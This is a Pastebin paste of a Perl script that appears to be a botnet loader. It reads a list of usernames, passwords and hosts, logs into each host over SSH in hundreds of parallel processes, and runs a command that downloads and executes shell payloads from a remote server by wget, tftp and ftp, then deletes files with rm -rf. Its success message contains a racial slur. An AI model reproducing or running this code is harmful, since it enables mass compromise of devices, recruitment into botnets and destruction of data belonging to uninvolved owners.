Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Net::SSH2; use Parallel::ForkManager;
- $file = shift @ARGV;
- open(fh, '<',$file) or die "Can't read file '$file' [$!]\n"; @newarray; while (<fh>){ @array = split(':',$_);
- push(@newarray,@array);
- }
- my $pm = new Parallel::ForkManager(550); for (my $i=0; $i <
- scalar(@newarray); $i+=3) {
- $pm->start and next;
- $a = $i;
- $b = $i+1;
- $c = $i+2;
- $ssh = Net::SSH2->new();
- if ($ssh->connect($newarray[$c])) {
- if ($ssh->auth_password($newarray[$a],$newarray[$b])) {
- $channel = $ssh->channel();
- $channel->exec('cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://1.1.1.1/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 1.1.1.1 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 1.1.1.1; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 1.1.1.1 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *');
- sleep 10;
- $channel->close;
- print "\e[37;1mNigga They Joining: ".$newarray[$c]."\n";
- } else {
- print "List Dead\n";
- }
- } else {
- print "Box Broken\n";
- }
- $pm->finish;
- }
- $pm->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment